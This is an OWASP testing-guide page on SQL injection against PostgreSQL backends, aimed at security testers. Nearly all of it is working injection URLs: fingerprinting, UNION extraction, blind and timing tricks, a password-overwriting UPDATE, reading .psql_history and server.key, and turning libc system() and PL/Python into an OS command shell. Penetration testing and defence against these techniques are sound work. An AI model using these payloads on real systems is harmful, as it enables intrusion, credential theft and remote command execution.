OWASP Backend Security Project Testing PostgreSQL

Overview

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

Description

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:

• String concatenation by using the operator: ||
• Casting by using the operator: ::

Examples:

 http://www.example.com/store.php?id=1 AND '11'='1'||'1'
 http://www.example.com/store.php?id=1 AND 1::int=1

PostgreSQL Peculiarities

• PHP Connector allow multiple statements to be executed by using ; as a statement seperator
• SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example:

   http://www.example.com/store.php?id=1--hello world 
   http://www.example.com/store.php?id=1;--hello world 

Banner Grabbing

Function version() can be used to accomplish this task.

select version():

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

 http://www.example.com/store.php?id=1
       Acme Biscuits

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

• String Length

  LENGTH(str)

• Extract a substring from a given string

  SUBSTR(str,index,offset)

• String representation with no single quotes

  CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks

Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous PostgreSQL version you can easy create a custom pg_sleep(n) by using libc:

• CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote (un)Escape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Attack Vectors

Reading from a file

ProstgreSQL provides two way to access local file:

• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. Thus in order to user it you need to enumerate at least one table and one column to store result within. How to enumerate tables and columns has been discussed on previous sections.

Example:

Let say you allready guess the existence of content text column in table contents belonging to current database. You can retrieve postgres client history with the following trick:

 /store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#

pg_read_file():

Examples:

• SELECT pg_read_file('server.key',0,1000);

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.

Dynamic Library

Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:

• CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

• create a stdout table

  CREATE TABLE stdout(id serial, system_out text)

• executing a shell command redirecting it's stdout

  SELECT system('uname -a > /tmp/test')

• use a COPY statements to push output of previous command in stdout table

  COPY stdout(system_out) FROM '/tmp/test'

• retrieve output from stdout

  SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1

plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

• Check if PL/Python has been enabled on some databsae:

  SELECT count(*) FROM pg_language WHERE lanname='plpython'

• If not assuming that sysadm has allready installed plpython package try to enable:

  CREATE LANGUAGE plpythonu

• If all of the above succeded create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--

• Run a OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--